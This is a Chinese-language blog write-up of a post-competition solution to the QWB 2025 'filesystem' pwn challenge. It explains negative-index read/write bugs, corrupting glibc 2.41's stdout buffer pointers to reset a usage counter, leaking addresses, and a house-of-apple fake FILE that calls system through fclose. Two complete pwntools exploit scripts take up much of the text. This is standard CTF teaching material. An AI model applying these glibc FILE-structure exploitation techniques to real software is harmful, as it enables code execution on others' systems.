强网杯2025-filesystem赛后解

赛中和这题搏斗了好长时间,没有搞定,赛后1小时在本地打通了,docker没通,不知道为啥。这两天终于腾出时间再看了一下,docker也搞通了,遂写博客总结一下题解


本题逆向不算太难,至少比那个大冒险友好多了。函数功能很好判断,这里给出其储存file的结构体供各位师傅参考:

1
2
3
4
5
6
7
8
9
#pragma pack(push, 1)
struct myfile
{
char filename[48];
char input[160];
__int16 size;
FILE *fileptr;
};
#pragma pack(pop)

本题漏洞点在edit和show这两个功能上。这两个功能都有负溢出,但有两个难题:

  1. show的leak有一定的限制。输出filename有0截断,输出input段又会检查size,而它储存size的那段空间恰好是标准file结构中未使用的字段,我们无法控制。因此,我们无法通过stdinstdout来leak libc,需要想别的方法leak
  2. 机会只有两次

因此,我们首先要考虑的就是修改chance。毕竟2次的有限制读写看起来是什么都做不到的。

我们首先调试一手,容易观察到在heaplist前是有一个自指的地址的(0x5008处):
alt text
只要edit(-11)编辑这里,就可以在heaplist附近写任意地址,进而实现任意地址读写。
可惜这个任意地址读写需要用到两次机会,但我们现在还没有拿到任何地址,必须先读再写,那改chance就需要读+写的4次机会,看来这条路是行不通的。
这里我们回想到比赛中另一道题目bph的攻击手法。那一题通过修改_IO_2_1_stdin_来实现任意地址写,我们这题是不是可以再用类似的手法打呢?
这里我们选择打_IO_2_1_stdout_。赛中笔者是随便乱试试出来的,赛后详细看了一下,发现libc中有这样一段代码(libc2.41 libio/fileops.c line431):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

我们主要关注这几行:

1
2
3
4
5
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);

这里的setg定义如下:

1
2
#define _IO_setg(fp, eb, g, eg)  ((fp)->_IO_read_base = (eb),\
(fp)->_IO_read_ptr = (g), (fp)->_IO_read_end = (eg))

也就是说这个函数最后会把_IO_read_base_IO_write_base等一系列读写缓冲区指针设置为_IO_buf_base
那怎么调用到这个函数呢?其实,只要调用输出相关的函数,就一定会调用此函数,感兴趣的读者可以自行调试看看具体调用链,这里只需要知道输出一定会调用此函数就可以了。
那么,我们的思路就是覆写_IO_2_1_stdout__IO_buf_base$rebase(0x5010)(即chance的地址),然后在一次输出后,_IO_write_base等会被覆写成这个地址,再一次输出后,这个地址的值会被覆写成输出的最后一个字符,通常是\n。这样,我们就完成了对chance的篡改。
这部分的POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3

'''
author: powchan
time: 2025-10-19 12:15:10
'''
from pwn import *
from random import randint
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = "pwn"+"_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6_2.41-6ubuntu1_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "localhost"
port = 70
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x22AC)
b *$rebase(0x17a3)
b *$rebase(0x2052)
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6-dbg_2.41-6ubuntu1_amd64/usr/lib/debug
set directories /home/zhangjuncpp/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/glibc-source_2.41-6ubuntu1_all/usr/src/glibc/glibc-2.41
'''


def start():
if args.P:
process(["/bin/sh", "-c", "rm aaa*"])
return process(elf.path)
elif args.R:
return remote(host, port)
else:
process(["/bin/sh", "-c", "rm aaa*"])
return gdb.debug(elf.path, gdbscript = gs)

io = start()

def sla(a, b):
io.sendlineafter(a, b)
def sa(a,b):
io.sendafter(a,b)

sa(b"input DirectoryName: ", b"/")
menu = b"> "
p = io
def write_file(filename, content):
p.sendafter(b"> ", str(1).encode())
p.recvuntil(b"input filename (max length = 0x30): ")
p.sendline(filename)
p.recvuntil(b"input content (max length 0xa0): \n")
p.send(content)

def readfile(filename):
p.sendafter(b"> ", str(2).encode())
p.recvuntil(b"input filename (max length = 0x30): ")
p.send(filename)

def edit(index, content): # total 2 chance
p.sendafter(b"> ", str(3).encode())
p.recvuntil(b"input file idx: ")
p.sendline(str(index).encode())
p.recvuntil(b"input")
p.send(content)

def show(index): # total 2 chance
p.sendafter(b"> ", str(4).encode())
p.recvuntil(b"input file idx: ")
p.send(str(index).encode())

show(-11)
pie = u64(io.recv(6).ljust(8, b"\x00"))-0x5008
log.success(hex(pie))
edit(-8, p64(pie+0x5010)+p64(pie+0x5010)+p64(pie+0x5030))

POC运行结束并输出menu后,就可以看到chance被覆写成0xa了。
好了,现在我们有了pie地址,还有了任意地址读写,接下来的事情想必不难了。读取got表即可leak libc,随便添加一个文件再读取就可leak heapbase。有所有地址,又有无限次任意地址读写,攻击想必不难。
这里笔者还是考虑利用程序本身的漏洞,关注程序退出时执行的sub_2210函数,它会关闭自己打开的flag_stream文件,我们把这个文件覆写成我们的fake_io就可以getshell了。这里的fake_io可以套house of apple的板子,但要注意,vtable项要设置为libc_base + libc.sym["_IO_wfile_jumps"] -0x70,因为fclose是通过__close触发的,我们得把__close对应的vtable偏移对上_IO_wfile_overflow,才能顺利触发house of apple调用链。完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3

'''
author: powchan
time: 2025-10-19 12:15:10
'''
from pwn import *
from random import randint
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = "pwn"+"_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6_2.41-6ubuntu1_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "localhost"
port = 70
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x22AC)
b *$rebase(0x17a3)
b *$rebase(0x2210)
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6-dbg_2.41-6ubuntu1_amd64/usr/lib/debug
set directories /home/zhangjuncpp/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/glibc-source_2.41-6ubuntu1_all/usr/src/glibc/glibc-2.41
'''


def start():
if args.P:
process(["/bin/sh", "-c", "rm aaa*"])
return process(elf.path)
elif args.R:
return remote(host, port)
else:
process(["/bin/sh", "-c", "rm aaa*"])
return gdb.debug(elf.path, gdbscript = gs)

io = start()

def sla(a, b):
io.sendlineafter(a, b)
def sa(a,b):
io.sendafter(a,b)

sa(b"input DirectoryName: ", b"/")
menu = b"> "
p = io
def write_file(filename, content):
p.sendafter(b"> ", str(1).encode())
p.recvuntil(b"input filename (max length = 0x30): ")
p.sendline(filename)
p.recvuntil(b"input content (max length 0xa0): \n")
p.send(content)

def readfile(filename):
p.sendafter(b"> ", str(2).encode())
p.recvuntil(b"input filename (max length = 0x30): ")
p.send(filename)

def edit(index, content): # total 2 chance
p.sendafter(b"> ", str(3).encode())
p.recvuntil(b"input file idx: ")
p.sendline(str(index).encode())
p.recvuntil(b"input")
p.send(content)

def show(index): # total 2 chance
p.sendafter(b"> ", str(4).encode())
p.recvuntil(b"input file idx: ")
p.send(str(index).encode())

show(-11)
pie = u64(io.recv(6).ljust(8, b"\x00"))-0x5008
log.success(hex(pie))
edit(-8, p64(pie+0x5010)+p64(pie+0x5010)+p64(pie+0x5030))

write_file(b"aaabaaac"+str(randint(0, 0x10000)).encode(), b"11142225"*0x10)

edit(-11, p64(0)*4+p64(pie+0x4f08))
show(-1)
libc_base = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym["free"]
log.success(hex(libc_base))
edit(-11, p64(0)*4+p64(pie+0x5068))
show(-1)

heapbase = u64(io.recv(6).ljust(8, b"\x00"))-0x84c0
log.success(hex(heapbase))
hackaddr = heapbase+0x85b0

fake_io_addr = hackaddr


fake_io = flat({
0x00: b" sh;", # offset 0x0: 命令/字符串(示例)
0x28: libc_base + libc.sym["system"], # offset 0x28: 指向 system 函数
0x88: p64(heapbase+0x3000), # offset 0x88: _IO_stdfile_1_lock (按 libc 版本不同)
0xA0: fake_io_addr + 0xD0 - 0xE0, # offset 0xA0: _wide_data->_wide_vtable (计算式保留)
0xD0: fake_io_addr + 0x28 - 0x68, # offset 0xD0: _wide_data->_wide_vtable->doallocate(计算式保留)
0xD8: libc_base + libc.sym["_IO_wfile_jumps"] -0x70, # offset 0xD8: vtable(你注释中提到 -0x48,可按需调整)
}, filler=b'\x00')

# edit(-8, p64(stdout))
# edit(-11, p64(0)*6+p64(libc_base+libc.sym["_IO_list_all"]-0x30))
# edit(1, p64(fake_io_addr))

edit(-11, p64(0)*4+p64(hackaddr-0x30))
edit(-1, fake_io[0:0x90])
edit(-11, p64(0)*4+p64(hackaddr+0x90-0x30))
edit(-1, fake_io[0x90:])
edit(-11, p64(0)+p64(fake_io_addr))


io.sendlineafter(menu, b"5")
io.interactive()

笔者赛时有点犯糖,很多东西写麻烦了,读者可以自行简化()

另外有一个诡异的问题,笔者没有搞清楚。笔者在使用patchelf和fedora虚拟机打时都能正常打通,但打docker不通,笔者调试了一下docker中的程序,发现docker中libc各项的偏移都不一致。可笔者patch的libc是从docker中docker cp得到的,不应该发生这种事情。如有懂这个的大佬麻烦在评论区或issue不吝赐教。


强网杯2025-filesystem赛后解
https://powchan.github.io.git/2025/10/22/强网杯2025-filesystem赛后解/
作者
powchan
发布于
2025年10月22日
许可协议